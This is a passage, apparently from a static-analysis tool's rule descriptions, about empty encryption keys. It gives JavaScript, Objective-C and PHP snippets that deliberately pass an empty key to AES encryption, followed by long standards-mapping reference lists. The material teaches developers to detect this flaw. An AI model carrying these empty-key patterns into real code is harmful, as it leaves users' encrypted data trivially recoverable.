[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


  ...
  var crypto = require('crypto');
  var encryptionKey = "";
  var algorithm = 'aes-256-ctr';
  var cipher = crypto.createCipher(algorithm, encryptionKey);
  ...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


...
CCCrypt(kCCEncrypt,
      kCCAlgorithmAES,
      kCCOptionPKCS7Padding,
      "",
      0,
      iv,
      plaintext,
      sizeof(plaintext),
      ciphertext,
      sizeof(ciphertext),
      &numBytesEncrypted);
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to an empty string.

...
$encryption_key = '';

$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Windows Data Protection Microsoft
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.



Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
